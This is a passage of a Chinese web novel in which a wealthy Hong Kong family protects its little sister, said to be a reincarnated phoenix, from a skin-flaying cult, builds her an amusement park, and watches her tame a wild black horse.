黎墨冰像个等待被问罪的犯似的，等着黎墨城的审判。 然而他等了半天，都没有得到回应。 不禁苦笑，“大哥，你哪怕再打我一顿都行，别不理我成吗？” 黎墨城抬头看了他一眼，眼尾透着不屑。 “今天你就算说出花来，以后也休想带婉婉出去！” “不是……大哥，如果不发生意外，婉婉她跟我玩的很开心，而且我来找你，除了认错，也想跟你商量一下，能不能我们自己开设一家游乐场？这样以后婉婉想去玩的时候，随时都可以清场。” “这话不用你说，我已经让人着手安排。”黎墨城这次倒是跟他不谋而合。 黎墨冰见他有这个想法，顿时来了兴致：“那我们就建一个超大的，我觉得东郊马场就可以，那边有块空地一直闲着。” 黎墨城看文件的动作停顿，因为黎墨冰又跟他想到了一处。 他终于放下手里的文件，抬头，睨着黎墨冰。 “你知道二妈今天到祠堂跪了一下午，为当年的事忏悔。既然生病，那就让她好好养着，别弄得像我们联合起来欺负她。” “你说我妈去跪祠堂？”黎墨冰面露惊讶。 不敢相信，执拗了这么多年的母亲，竟然开始悔改？ “去看看吧，过去的事已经过去，黎墨冰，你以后如果想好好的，就多用点心，别想浑水摸鱼。” 黎墨城收回眼，对于当年的事，他从未原谅过朱丽月，也不会因为她的忏悔，就放下对她的厌恶。 至于黎墨冰，看在婉婉的面子上，姑且给他一次机会。 “我知道了，先不说这个，大哥，我给你看一样东西。” 黎墨冰并没有急着去看朱丽月，而是从口袋里掏出一个红色的香囊。 黎墨城目光落向他的手，随着香囊打开，只见里面呈现的，竟然是一张人的脸皮！ “这个东西，是那个抓走婉婉的人落下的……” 第91章 凡人之躯皆为蝼蚁 黎墨城被香囊里面的东西恶心到了。 他用手抵着鼻端，低声开口：“这种东西，正常人不会带在身上。” 黎墨冰说道：“那个人被我打了半死，到最后也只说是因为心怀嫉妒，始终没有透露背后有谁指使，但是我总感觉，事情没有那么简单。” 黎家屹立在港城多年，看似光鲜的背后，不知道多少双龌龊的眼睛盯着。 尤其近些年，因为与某些党羽不同路，没少树立仇敌。 他们作为黎家的子嗣，哪一个，不是活在风口浪尖上面？ “事关婉婉安危，不能大意，我尽快联络孙师傅，如果可以，让他抽身来港城一趟。” 这时，黎墨冰想起了一个人。 “大哥，阿郢带回那位姓祁的先生，也是位术士，不如先让他过来看看这东西。” 黎墨城印象中也有这个人，于是立刻让黎墨冰去叫人。 黎墨郢得知情况后，让王妈和刘妈先带着婉婉，与祁山一起过来。 祁山与孙隆一样常年在外游历，交往的道家友人多不胜数，对于一些旁门左道，也有不少了解。 他只看了香囊里的东西一眼，就辨认出了来历。 “这是港城十分隐秘的一个邪修门派，名为剥皮门。 他们认为众生被困于皮囊、骨骼、脏腑等外在形骸之中，这些是阻碍触摸天地本源、获得真正永恒与力量的枷锁。唯有鲜血是生命最本质的载体，蕴含着灵魂的力量和生命的精华。 这个门派修行的终极目标是剥离一切“无用”的肉身束缚，最终化为一道纯粹由强大精血和怨念魂力构成的“无相血灵”，从而实现另一种形式的“长生”和“大自在”。 据我所知，剥皮门在上一次的‘无相血阵’失败后，沉寂了许久，已经很多年没有在世上出现，没想到，竟然被你们遇见。” 兄弟三人听完祁山的讲述，全都不寒而栗。 紧跟着，黎墨城便想起十几年前的多起剥皮凶杀案，最后抓捕到了凶手，确认其为邪修组织成员。 不过因为涉及传播不良信息，那个新闻没有大肆报道，没多久就被人淡忘了。 “没想到现在还有人相信这些东西，简直愚昧至极！” 黎墨城刚说完，祁山便笑着摇了摇头。 “大少爷，其实也并不能全都怪那些人愚昧，而是那些邪修门派的人，洗脑的功夫一流，其中不乏一些拥有特殊能力的人，他们通常为了满足一己私欲，便会蛊惑世人，替他们承担杀孽。” 黎墨冰听完就后悔轻易放过那个人，“早知道他是邪修信徒，刚才就不应该留着！” 要是那个人没死，以后说不准，就会有无辜的人死在他们手里。 黎墨郢的关注点并不在这里，他抓住祁山的胳膊问：“那个邪修门派，有没有可能认出婉婉的身份？” 这句话，猛地将祁山问住了。 他的表情由轻松变得凝重，沉默了半天，缓缓开口：“如果只是普通的信徒，并没有这个本事，但是……” “但是什么，快说！”黎墨郢脸色阴沉的，快要滴出墨水。 “但是如果他并非普通信徒，而是被操控的傀儡，很难保证小小姐的身份不被发现。” 说完，祁山怕他们听不懂，还特意解释了一遍。 “所谓傀儡，就是将受害者的皮肤或完整尸体，通过邪法祭炼成“血皮傀”或“人皮傀儡”携带在身上，用于伪装、替身、攻击或传递消息的作用。” “你的意思是，他们很有可能先察觉到婉婉的身份，才找准时机动手？”黎墨郢墨色的眸子，燃烧起了汹涌的火焰。 祁山重重的点了点头。 兄弟三人顿时坐不住，黎墨城提出先去告知老爷和老夫人一声。 黎墨郢则连招呼都没打，转身就跑了出去。 黎墨冰正要开口，这时，他的保镖走进来，表情严肃的开口：“二少爷，那个人在野兽区被袭击，刚才我们发现的时候，已经断气。” 黎墨冰听后，心头没有丝毫怜悯，只问祁山：“先生，现在那个人死了，还能否传递消息？” 祁山上前一步，脸上被阴云覆盖着，催促道：“先带我去看一看再说。” …… 彼时。 黎墨郢已经来到了游乐园的野兽饲养区，那个年轻人已经被野兽撕咬得面目全非，根本辨认不出本来的面目。 “三少爷！您怎么来了？”保镖们正准备清理尸体，被突然出现的黎墨郢，吓了一跳。 黎墨郢在看见地上的尸体后，本能掏出手帕，捂住了口鼻。 “三少爷，二少爷已经交代过，您放心就好，我们一定会处理干净。” 黎墨郢却抬起手，制止了他们的行动。 “别动，你们怎么确定，这人就是白天那个？” “这……”他的问题，让保镖们一个个都懵在了原地。 因为他们将那个人丢进来后，只听见了撕心裂肺的惨叫，等到没动静的时候，他们才过来收尸。 “三少爷，从样貌体征来看，这个人就是白天那个。”一个保镖说道。 黎墨郢并不放心，让他们等在原地，大概半个小时，黎墨冰与祁山匆匆赶到。 “让我看看！”祁山跑过来，从怀里抽出一张符纸，在念了两句口诀后，符纸呈现自然状态。“以我师祖之命，引地灵，出！” 旁边的人，完全摸不透祁山在做什么，只看见他在一阵自言自语后，面色灰白的看向黎墨郢。 “三少爷，人被调包了。” …… 港城，某个阴暗的弄堂。 斑驳的墙缝宛若裂开的伤口，终年不见天日。 颜色晦暗的衣物，滴答着说不清是积水还是潮气的粘腻水珠，在地上砸开细小而不祥的痕迹。 角落里堆叠着腐烂的木箱和破旧的瓦罐，散发出一种潮湿的、类似铁锈和霉烂物质混合的沉闷气味。 穿着红衣服的年轻胖子双膝跪地，对着坐在腐朽木椅上的黑衣男子不停叩首。 “多谢师祖，我这条命是师祖救的，以后我必当上刀山下火海，也要……啊！” 伴随着黑衣男子抬起手，红衣胖男人的四肢以诡异的弧度弯曲，浑身的血液不受控制的从蹊跷喷涌，没过多久，他便倒在了地上，失去了生命体征。 黑衣男子收手，旁边，一位穿着紫色长袍的老妇，嗓音沙哑得如同棺材中沉睡了千年的干尸。 沙哑、撕裂。 “我早就跟你说过，黎家人不好糊弄，想要瑞凤之血哪有那么容易！” 黑衣男子长长的吸了一口气，正对着他的窗口，月光投射在他身上，在地上显露的侧影，蜿蜒若毒蛇一般狰狞。 “是这个蠢货太急于求成，黎家即便枝繁叶茂，可在这港城并不能只手遮天！您且等着看，待我取到了凤血，如何青云直上！” …… 黎墨城将小婉婉被邪修门派盯上的消息告知黎老爷和黎老夫人，本来就把孙女儿捧着当心尖尖儿疼的二老，当即下令：“就算翻遍整个港城，也得把他们找出来！” 他们怕孩子们办不好这件事，连夜召回了黎立轩，声称不惜一切代价，也要跟坏蛋死磕到底。 黎立轩立刻就要调集人手，搜遍整个港城。 好在祁山及时赶回来，说不赞同他们这样做。 “老爷，老夫人，还请稍安勿躁。敌在暗，我在明，光是大张旗鼓的找非但没用，反而会让我们陷入被动的境地。” “难道就让我们眼睁睁的看着那些狗东西，加害婉婉？不行，我不容许我孙女儿出现丝毫差错！” 黎老爷始终记得，自己的这条命，都是小婉婉给的。 还有阿城，如果不是有婉婉，他保不齐会丧命在帮派的内斗。 祁山见黎老爷子动了真怒，知道靠自己一个人稳不住，于是将求救的信号落向黎墨郢。 “三少爷，您和孙师傅出去苦修，不就是为了这天吗？” 黎墨郢收到祁山的暗示，心中有了底气，站出来说：“阿爷、阿奶，有我在，不会让婉婉有事。” “你？你是不是忘了，孙师傅现在还帮你在内地擦屁股呢？你告诉我，你哪里靠谱？”黎老爷满脸怀疑。 黎墨郢吃了个瘪，默默的看向祁山。 祁山连忙上前说道：“黎老爷，请您相信三少爷，他完全可以保护小小姐的安全，就算不然，小小姐为瑞凤转世，自有天道庇佑。我们若妄自干涉，只会让事情发展到无法挽回的地步，您也不想让大爷和几位少爷，以凡人之躯，去面对未知的风险，不是吗？” 祁山的话，让黎老爷哑口无言。 黎老夫人重重的叹了口气，按住黎老爷的手说道：“那就暂且听祁先生的吧，我们能力有限，盲目参与，只会添乱！” 黎老爷颓然的坐了回去，看向黎墨郢，表情格外严肃：“若婉婉有半点差池，我唯你是问！” “阿爷放心，我会尽全力守护婉婉安全。” 折腾了半夜，黎墨郢回到房间的时候，小婉婉已经抱着小被子睡下了。 望着小丫头奶呼呼的睡颜，他的脑海里，全是他在回来时，与祁山的对话。 “以我现在的能力，真的能对抗邪修门派？” “敌暗我明，我不能保证。” “那你还在阿爷阿奶面前大放厥词？” “三少爷，您应该知道，在修行之人眼中，凡人之躯皆为蝼蚁，您难道忍心让你的父亲还有兄长去送死？” “这个门派很棘手？” “亦阴亦邪，为了达到目的，没有什么是他们做不出来的。三少爷，纵然您有大能之体，但你吃亏在了阅历上，他们能力不及你，但招数防不胜防，以后还是要小心为上。” 直到现在，黎墨郢终于明白，孙师傅为何要在北上的时候，带他一路奔波。 他也是第一次，被自己的见识困扰。 过去在黎家的生活太过于优渥，如同密不透风的保护伞，将他困在安逸的世界里。 上有父亲为他撑腰，外有兄长为他担当，家中还有母亲呵护备至。 他以为，天空就像他见到的那么大，修得所成就可以翻手为云覆手为雨。 然而现实却是，有太多东西不在他的掌控之内。 “我不会让你有事。”黎墨郢抱住小家伙，感受着她身上的体温，就像是一股无形的力量，源源不断的注入到血脉，不断促使他去成长。 “三哥哥？”也许是他的力道太大了，小丫头睁开了眼睛，小手在眼尾揉了揉，小脑瓜儿也往他怀里拱了两寸。 “睡觉觉，大黑龙乖乖哒。”小丫头就连在梦中，还在担心自己的安危。 全然不知道，她自己早就被坏人给盯上了。 黎墨郢弯起唇角苦笑，抚摸她的头，唇轻轻的在她额头蹭过。 “睡觉，不知道上辈子欠了你多少，这辈子来还债。” …… 虽说黎老爷答应祁山不轻举妄动，但他又怎么能真的放手不管，任由两个孩子去度过危险。 即便他不吩咐，黎立轩也在暗中派出了不少人手，搜寻关于邪修门派的消息。 不出半个月，黎立轩还真的找到了许多线索，由它们牵引着，找到了很多被害人的尸首，并协助警方，破获了新一起连环杀人案。 杀人案的凶手竟然是一位九十多岁的老妇，当她被抓到的时候，竟然顶着一张三十多岁少女的容颜。 她被警方找到的时候，在一个弄堂里，浑身浇满了汽油，仅用一根火折子，将自己烧成了干尸。 事发后，黎立轩带着祁山亲自去确认，这位妇人，便是‘剥皮门’的掌门，在她的尸体被烧干之后，灵魂被拉到十九层，永世不得翻身。 但祁山认为，邪修门派让然残留余孽，正好趁此机会，一网打尽。 接下来的日子里，黎家人仍然配合警方，将所有邪修弟子找到，其中就包括那日在游乐园，与红衣胖男子同行的男人，也被警方抓到。 并且通过调查发现，那人的身份并不寻常，是背后靠着某个家族，从事人口买卖人口的人牙子，专门对孩子下手！ 公安当即将其逮捕，顺便端了一个人贩窝点。 至此，黎立轩被登报表彰，为新市民企业家典范，还被委以重任，承接了不少公务方面的运作。 第92章 择良驹 剥皮门门主自杀身亡，黎立轩在祁山的指引下，开始彻底清缴余孽。 这天。 黎墨郢接到祁山的消息，他们在清算余孽的过程里，发现了一个名册。 经过对比，他们发现剥皮门在内地也有传播，且已经发展出多个堂口，如果不加以清算，那么以后难免他们不来港城开启报复行为。 祁山决定要去内地一趟，考虑到黎立轩身份敏感，会闹出太大动静，打草惊蛇。 于是他与黎墨郢商议，由他来走这一趟，到时顺便还能与孙师傅汇合，当做第二次修行，黎立轩则留在港城，盯好关卡，防止那些人来到港城，对小婉婉来说，也是个保障。 黎墨郢自然愿意，只是唯独，舍不得朝暮陪伴的小婉婉。 他上次回来，答应过，要多陪她些日子的…… 黎墨郢望着自顾写作业的小丫头，深邃的凤眸流淌着，连他自己都察觉不到的柔光。 “过两天，我要出去一趟。” “两天是几天？” 小婉婉立刻把脑瓜转过来，她还记得，上次三哥哥也说过两天，结果是过了好几天。 “两天。”黎墨郢抿起唇角，给出肯定的答案。 听到结果后，小婉婉撅起了小嘴儿，眼眸耷拉着，就连平时总是竖着的小揪揪，都蔫蔫儿的垂了下来。 “那你什么时候回来？” “也许几天，也许……不一定。”黎墨郢无声叹了口气。 为了让她不那么失落，他做出保证：“我一定尽快，不让你等太久。” 小婉婉这才点了点头，不过小脸儿上还是不太开心，并且说道：“你不可以偷偷走掉！” “这次不偷偷走。”黎墨郢无奈答应。 只是到了他要出发那天，小婉婉都不用叫醒，老早的就爬起来了。 只见她吭哧吭哧的跑到桌子上，握着水彩笔，画了好几张彩色的小卡片。 “三哥哥，给你！”小丫头将卡片放在枕头上。 黎墨郢拿起来看一眼，发现小丫头经过这一段时间的学习，画工比之前好了不少，至少不再是鬼画符了。 “这个有什么用？”黎墨郢挑眉。 小婉婉抱起小胳膊，奶声奶气的说道：“大黑龙怕大鸟，婉婉给三哥哥画画，就不怕大黑龙。” 黎墨郢想说，他现在已经能够控制身体的灵力，再加上凤血图腾压制，恶龙根本没有机会出来捣乱。 不过念在小丫头的一番心意，他还是将卡片折叠好，妥善的保存在口袋里。 “那我等一下就走了，你在家里，好好吃饭，好好睡觉，记住，不能乱跑。” “我知道，三哥哥好啰嗦呀！”小婉婉把脸蛋儿扭过去，虽然嘴上在抱怨，其实，小眼圈已经泛红了。 想到要跟黎墨郢分开，她就会难过。 三哥哥明明就答应过，要一直一直陪着她的！ “好了，你看我跟你道别，你又掉泪珠珠，你不是总说自己坚强？”黎墨郢抬起手，一滴晶莹的小珍珠，刚好划过指尖。 小婉婉强装无事，用小手抹了一把。 “婉婉坚强，才不哭呢！” “那我走喽？”黎墨郢从床上下地，刚要迈步，下一秒，小丫头冲过来抱住他的大腿。 两只晶莹的大眼睛就那么眼巴巴的望着他，小嘴儿撅得快要挂油壶，泪花闪闪的说：“三哥哥早点回来，婉婉想你。” “嗯，很快就回来。” 黎墨郢很怕这么下去，自己根本走不掉，借着让王妈带她洗漱的借口，抽空整理行囊。 等到小婉婉洗漱完，他背着行囊站在门口挥手：“婉婉，三哥走了，乖乖在家等我。” 说完，他大步出门，连头都不敢回。 小婉婉一声清脆的“嗯”，在看不见他的影子后，消散在了风里。 “小小姐，大少爷等着送您上学呢，咱们过去找他吃饭好不好？” “好。”不同于上一次，小婉婉没哭也没闹，就算难过，也仅是小脸儿看起来蔫蔫儿的，身边的人说话，她都会听，也会回应。 王妈赶紧带着小婉婉去了黎墨城的院子。 黎墨城知道因为黎墨郢去内地，小婉婉心情不好，为了调转她的注意力，特意将几个弟弟都叫到他的院子里吃早饭。 而小婉婉也在几个哥哥陪伴中，很快就恢复了心情，吃饭途中和黎墨黔、黎墨羽讨论学校里的趣事儿，小嘴儿一直都没停过。 黎墨城在他们都吃的差不多的时候，宣布了一个消息。 “我们自家的游乐场，再有几天就能竣工，到时你们放假，一起去玩一天。” 黎墨黔一听到‘游乐场’三个字，兴奋的双眼直冒光。 “我们自家建了游乐场？偶买噶，太棒了！” 小婉婉也同样兴奋的拍着小手，“太好了，可以去游乐场玩喽。” 黎墨羽则说：“大哥，我也想去游乐场，可是周日那天还有私教课，能不能麻烦你跟我妈说一声，给我放一天假？” “可以。”黎墨城答应。 至于始终保持缄默，难以融入群体的黎墨瞳，在看到大家都热烈参与后，想起三叔对他说过的话。 内心做了很大建设，最后，鼓起勇气，看向黎墨城：“大哥，我也想去。” 他反常的主动，让满桌人都向他看来。 尤其黎墨城，那双鹰隼般犀利的凤眸，闪过些许意外，目光直接定格在他脸上。 黎墨瞳承受不住他强大的气场，深深把头低下去，恨不得埋到桌子底下。 却听见黎墨城平缓开口：“那你周日早上，到大门口跟我们集合。” 黎墨瞳身体抖了一下，随即重重点头。 黎墨黔发现黎墨城一开口，就把他给吓了一跳，“哈哈”大笑起来。 “五弟，你的胆子不用这么小吧？大哥又不吃人！” 黎墨瞳：“……” 他只是紧张，而已。 等到大家都吃完了饭，黎墨冰才打着酒哈欠，姗姗来迟的过来。 对着满桌残羹，他也不嫌弃，捏起一个叉烧包塞到嘴里，懒散的坐了下去。 “这段时间替爸比应酬酒局，可要废掉我半条命。大哥，今天晚上宅妮弗在她家举行生日派对，她父亲点名要你去出席，正好我也熬不住，要不你还是去一趟。” 黎墨冰的状态很不好，整个人就像是被抽空了力气，脸色缺少血色，使得本就皮肤白皙的面相，显得更加苍白。 可黎墨城想到，宅妮弗自从来港，频繁向他示好，心意外露明显。 如果真的去了，肯定会被纠缠。 黎家刚与劳伦斯家族建立合作关系，在还没有达到稳固的时期，不能因为儿女情长被毁。 是以，这几天都是黎墨冰在帮他斡旋，在外扮演纨绔少爷，陪着詹妮弗花天酒地。 黎墨城心中领他这份情，但他也是真的不喜欢詹妮弗的生活作风，更不会跟她在一起，所以还是要黎墨冰再撑一段日子。 “今晚我准备一份礼物，你帮我给她带去，然后你就走，她应该不会为难你。” 黎墨冰认命的点头，不过，他也有条件。 “大哥，那你能不能看在我为你出生入死的份儿上，让我接送小妹？我保证，哪怕一只苍蝇也不准靠近！” 黎墨城知道上一次的事不完全怪他，再加上这几天气消了，便点头，同意了要求。 “既然接送婉婉，打起你的精神！” “必须的。”伴随着喜悦的笑，黎墨冰瞬间就像是被活力充盈，跑到小婉婉身边，俊俏的脸和她蹭了蹭。 “婉婉可是我们最重要的小宝贝，对不对？” 逗得小丫头直“咯咯咯”的笑：“二哥哥，好痒啊。” …… 周日那天。 按照约定，黎墨城让司机开着一辆商务轿车，载上弟弟妹妹们去了游乐场。 唯独黎墨冰还要帮他应酬劳伦斯家族的人，暂时无法出席。 游乐场因为是初步建成，很多设施都没有彻底完善，可光是它庞大的规模，就足以惊艳孩子们的眼球。 它就像是港岛上拔地而起的彩色巨兽，吞吐着华丽梦幻的彩云。 因此得名【梦幻之城】。 站在大门处，放眼望去，三十米高的摩天轮像上帝随手抛下的齿轮卡榫，过山车的蓝色钢架在潮湿空气里泛着冷光。 旋转木马区的环氧地坪光可鉴人，檀木马匹的眼睛用珐琅彩点的炯炯有神，鬃毛间新刷的清漆散发微刺气味。 “哇，好多转转马，好漂亮！”小婉婉拍着小手，响应着她的愉悦，黎墨黔等人，浑身的毛孔都舒张开，起了密密麻麻的鸡皮疙瘩。 “哇，好酷！” “真的太棒了，大哥，这个游乐场都是我们的吗？”黎墨羽问道。 黎墨城颔首，看向怀里的小奶团，没说，这些臭小子全都是拖了她的福。 当他提出要给小婉婉建造游乐场，黎立轩几乎眼睛都没眨，就拍板给他拨款。 如果换做是他们任何人，遭一顿痛骂都是轻的。 “里面很多设施没有开放，上面有标注，你们挑能玩的体验，注意安全。” 黎墨城说完，黎墨黔道了声：“收到。” 第一个冲了进去，紧跟着黎墨羽和黎墨瞳也各自寻找喜欢的设施。 至于小婉婉，一个人不安全，黎墨城全程陪同，在玩了旋转木马后，又去了公主城堡玩了很久。 而公主城堡的隔壁就是马场。 小婉婉站在城堡上面，看见有人在骑马，大眼睛顿时扑闪个不停，亮晶晶的发着光。 “大哥哥快看，有真的大马！” 黎墨城看着小家伙兴致勃勃的小样，想起上次见她在动物园骑鸵鸟，她好像很喜欢这样的活动。 于是，心念一动，他把小婉婉从城堡上抱下来。 问道：“婉婉想骑真的大马？” “想。” “那就去。”黎墨城力求满足小妹妹的每一个心愿。 别说想骑马，哪怕将来想要坐飞船，上太空摘星星，他也会尽力满足。 黎墨城直接带着小婉婉来到马厩，跟饲养员要求，挑一匹适合小婉婉的良驹，以后作为她独有，不用对外营业。 饲养员立刻将他们去看新来的马匹。 “大少爷，这些马都是从草原上刚送来不久，经过驯服性格都很稳定，您让小小姐自己选一匹就好。” 黎墨城指着马厩里的一匹白马，觉得它洁白如雪，仿佛童话中走出的独角兽，与纯洁的小婉婉很搭配。 “婉婉，这个白色的喜欢吗？” “喜欢。”小婉婉毫不犹豫的点头。 黎墨城这就让饲养员去马厩将白马牵出来。然而，就在饲养员刚打开马厩时，从隔壁的厩房里，传出了一阵暴躁的嘶鸣，铁链与木头发出震耳拉车和碰撞，宛若突然苏醒的怪兽，在笼子里疯狂挣扎。 “那匹马怎么回事？”黎墨城问道。 饲养员脸上挂着惋惜，对黎墨城解释：“大少爷，旁边这匹黑马，是这一批宝驹里成色最好的，但是因为性子烈，一直没有被驯服。 前天舒小姐过来，看上了这匹马，结果却被踢了一脚，她当场让人痛打了几十棍子，导致它性情越发狂躁。” 黎墨城听到黎墨舒如此嚣张的使用暴力，眉头紧拧成了一道川字。 而他怀里的小婉婉，则在被黑马吸引了注意力后，便挣扎着想要下地。 “大哥哥，去看看。” “小小姐，那匹马已经不能要了，我们准备将它安乐死。”饲养员劝阻。 “什么是安乐死？”小婉婉问黎墨城。 黎墨城不语，只是替那匹黑马感觉到可惜。 是以，他吩咐道：“把它的伤治好，想办法送回草原。” “可是舒小姐那边……”饲养员一脸为难。 正常的情况下，健康没有问题，实在驯服不了的马匹，是直接送回草原的。 但是黎墨舒抱着得不到就要毁掉的变态心理，要求马场直接将它安乐死。 黎墨城听到黎墨舒的名字，就一阵厌恶。 “她算什么东西？你只管听我的。” “是。”饲养员答应，转而它要牵白马的时候，旁边的黑马再一次躁动，且状态异常不稳。 也许是黑马的血脉影响，导致这个马厩里的马全都不敢擅动，任由饲养员使劲拉白马，它都不肯出来。 “这……”饲养员尴尬的不行，正要跟黎墨城解释。 突然，隔壁的马厩传来‘咔嚓’一声。 第93章 野性的呼唤 在黑马冲出牢笼的一瞬间，黎墨城本能的护着小婉婉，在地上打了个滚。 霎时。 巨大的黑影已如一片裹胁着雷电的乌云，凌空而至，强劲的蹄风掀起了黎墨城的额发，刮过小婉婉稚嫩的脸庞。 那跨越的姿态并非逃窜，而是一种君临天下的、充满力量与美感的腾飞，阴影完全笼罩了下方的两人，即便他们不躲，它也伤害不到二人分毫。 黎墨城意识到这点后，凤眸闪过一抹惊艳。 小婉婉的大眼睛则释放着热烈的光，兴奋的从他怀里挣扎出去，望着黑马稳稳落地后，化作一道撕裂夜色的黑色闪电，向着马场空旷的草场疾驰的背影，“哇”了一声。 又见。 黑马直到奔出近百米远，猛然人立而起，整个身躯在清冷的月光下勾勒出完美而极具野性的剪影。 随后，它仰首向天，一声嘶鸣破空而出！ 宛若洪荒巨兽的咆哮，容纳着对自由的终极呼唤，穿透了每一间厩房的木板，刺入了每一匹圈养良驹的灵魂深处。 整个马场瞬间被这声嘶鸣点燃！ 原先温顺的马匹们，全都变得躁动起来。它们疯狂地刨击地面，撞击着厩门，以一声声或高亢或急促的嘶叫回应着那黑色的君王。 一时间，万马齐喑，整个马场化作一锅即将沸腾的滚水，不安与原始的野性如瘟疫般蔓延开来。 就连草场上跑着的马，全都失去了控制，意图挣脱人类手中的缰绳。 “吁！畜生！吁！”黎墨舒挥舞马鞭，一下抽到宝马的眼睛上。 这匹马已经跟被她驯服多年，性情胆小温和，却仍然在万马躁动的时候，掀起铁蹄，硬生生将黎墨舒从马背上驱赶下去。 随即，它迈开铁蹄，奔向唤醒它野性的君王。 黎墨舒气得咬破了嘴角，一声声大骂着：“畜生，给我回来！” 意外就发生在刹那间，马场内所有的饲养员及工作者，全都出动，制服脱离控制的马匹。 唯独那匹引发躁乱的黑马，没人敢向它靠近，生怕一个不小心，就成为它铁蹄之下的亡魂。 可是众人心里又都清楚，如果黑马不被制服的话，那么场面将会持续不受控制。 最先接待黎墨城的饲养员提议：“三少爷，这么下去不行的，我们只能先将它麻醉，捉住后再安乐死。” 黎墨城出现了犹豫，正当他思考要不要答应的时候。 小婉婉抱住他的大腿，眼巴巴的说：“大哥哥，不捉小黑，我要它。” 虽然她听不懂什么是安乐死，但是从饲养员的表情里，她感觉到他要捉住黑马，对它做不好的事。 这下，黎墨城更加为难，蹲在地上说：“婉婉，那匹马性情刚烈，无法驯服。” “大哥哥，让我试试。”小婉婉信心满满的胯下海口。 旁边的饲养员听了，嘴角一顿猛抽，心说小小姐还真是初生牛犊不怕虎！ 不过接下来让他没想到的是，黎墨城非但没有阻止，还同意让她试试。 “大少爷，您还是别开玩笑了，小小姐还这么小，我们都搞不定的马，她怎么可能？”饲养员跟在旁边劝阻。 黎墨城仍旧目光坚定，抱着小婉婉去了后面的马厩，牵出他饲养的宝马。 黎墨城这匹马是母马，也被他驯服多年，且经常亲手照料，此刻虽然也有些不安分，但在主人骑上它的时候，并没有抗拒。 黎墨城一手拉着缰绳，让婉婉抓紧，腾出另外一只手，抚了抚它的鬃毛。 “风蝶，乖一点，带我们过去。” 暗棕色宝驹早就想去寻找使它臣服的君王。 是以，在黎墨城发出命令的瞬间，它迈开铁蹄，朝着草场中心的黑马狂奔而去。 奔跑带动的劲风，与马背上的颠簸，让黎墨城丝毫不敢大意，紧紧抓牢怀里的小婉婉。 而小婉婉则目光紧盯着草场中的黑马。 彼时，围绕着它的马匹已经被工作人员控制得差不多，专门空出一片安全区域，免得马群再被黑马影响。 而草场中孤零零的黑马，在同伴被驯服之后，不断竖起前蹄。 它哀鸣着，发出最后的呼唤，宛若一声声沉重的悲叹，砸在人的心弦。 黎墨城驾驭的宝驹向它靠近，黑色的烈马鼻息喷吐着白雾，每一根肌肉线条，都凝聚着抗拒与不屈。 黎墨城身下的坐骑，则也在靠近黑马时，躁动和兴奋越明显，他只有用力收紧缰绳，避免它失控。 “小黑！”小婉婉在马背上奶呼呼的喊着，这是她临时给黑马起的名字，放在难以驯服的烈驹身上，着实显得突兀。 黑马则猛地甩头，发出一声警告性的喷息，前蹄重重刨地，溅起块块草皮。 黎墨城身下的马再次躁动起来，同样甩头，想把他们从马背上驱赶下去。 黎墨城为了他和小婉婉的安全，只好下了马背，站在适当的距离，与黑马进行对峙。 马场的外围，众人全都屏息凝神，观察着中间黑马的动向，生怕发出一点动静，惊动黑马发狂。 “大哥哥，我下去。”小婉婉想要自己去和黑马说话。 黎墨城明知道这样很危险，可是对上小婉婉一双明净的眼睛，无形中，就是有一股信念，让他照着她的话做。 他放开手，看着小小的身影，走向庞大巨物般的黑马，整颗心都跟着提了起来。 小婉婉不是普通的孩子，她一定没问题，他在心里告诉自己。 草场外面的人全都为兄妹俩捏了把汗，有的更是直接捂上了眼睛，生怕随时会发生残酷的画面。 草场内，小婉婉在距离黑马几步的距离停下。 她没有急着做什么，也没有发出任何驯马的指令，只是静静地望着黑马。 她眼中没有别人的那种征服欲，只有一种深切的、几乎能触摸得到的理解与温柔，一种对它所代表的狂野灵魂的无声敬意，是独属于孩童对这个世界的喜爱和包容。 黑马抗拒地摆动着脖颈，蹄子不安地移动，反倒向后退了两步。 众人预想的毁灭性场景，并没有发生。 “小黑，我能和你做朋友吗？”小婉婉天真的眨眼睛。 黑马像是听懂了她的话，粗重的呼吸不再像刚才那么暴烈，绷紧如弓的肌肉也逐渐松弛下来。 “噗，嚏！” 小婉婉继续萌萌哒说道：“我不会伤害你的，我有很多很多好朋友，小黄、小白、小花花，它们是小鸟；还有韩湘子、铁拐李，汉钟离、吕洞宾，它们都是很乖的大狗狗，以后也会是你的好朋友哦。” 小婉婉一遍念叨着，一遍数算自己的小拇指，一脸认真的模样。 而后她看见黑马还是没有反应，便努力的伸出小手，可惜大马实在太高了，她翘起脚跟，还是够不到。 黎墨城在后面看着这幅场景，浑身的注意力都集中在马匹上，只要有一点不对劲，他就立即冲过去护住小婉婉。 黑马无声凝视着伸出来的小手，它在僵持了良久后，巨大的头颅终于缓缓垂下。 一边试探，一边犹豫，也带着一丝从未有过的妥协，将它湿润的、曾发出撼动天地嘶鸣的鼻尖，轻轻触向小婉婉的掌心。 “太好啦，小黑，你答应和我做朋友了！”小婉婉开心的抱住了它的头。 小手轻轻的在上面抚摸，在触碰到那血粼粼的伤口时，她撅起小嘴儿，在上面吹了两下。 “小黑，我给你呼呼就不疼了，我告诉大哥哥，以后谁也不准欺负你。” 站在远处的人看不到，黑马头上的伤口，在被小婉婉吹气后，以肉眼可见的速度在愈合。 仅仅是一瞬间的工夫，平静的涟漪在黑马的周围漾开，它眼中狂野的金色火焰并未熄灭，却融入了某种奇异的温顺。 黑马双膝下跪，主动邀请小婉婉坐在它的马背。 黎墨城亲眼见证烈性野马对小婉婉臣服的过程，屏住的呼吸终于缓缓吐出，悬着的心，也落了回去。 他英俊的脸上绽开欣喜的笑意，接着便是由衷而来的自豪，促使他发出‘咯咯’的笑声。 更别提外围的众人，他们眼睁睁看着，那匹黑色的君王，始终保持双膝下跪的姿势，不断用额头轻蹭小丫头的肩膀，全然依恋与认可的姿态，一个个都惊掉了下巴。 “小小姐成功了？天啊，这太神奇了！” “老天爷……” “我一定是做梦，这不是真的！” “这，这怎么可能，小小姐她才那么小啊！” 风掠过草场，众人感慨过后，只剩下一片死寂般的震惊。 草场内，小婉婉并没有骑上马背，而是看着它满身的伤口，心疼的看向黎墨城。 “大哥哥，小黑痛痛，我不骑。” “嗯，不骑，让它回去好好养伤。”黎墨城走过去，他并没有触碰黑马，而是让小婉婉拉起缰绳，把它送回马厩。 “小黑，我们走。”小婉婉摸了摸马头，黑马站了起来。 小小的人儿，明明只有那么一丁点儿，在黑马面前显得格外弱小，完全没有任何威慑力。 可是偏偏它就听小家伙的话，她让做什么，它就做什么。 霎时，整个马场里的马，都因为黑马变得温顺，而恢复了宁静。 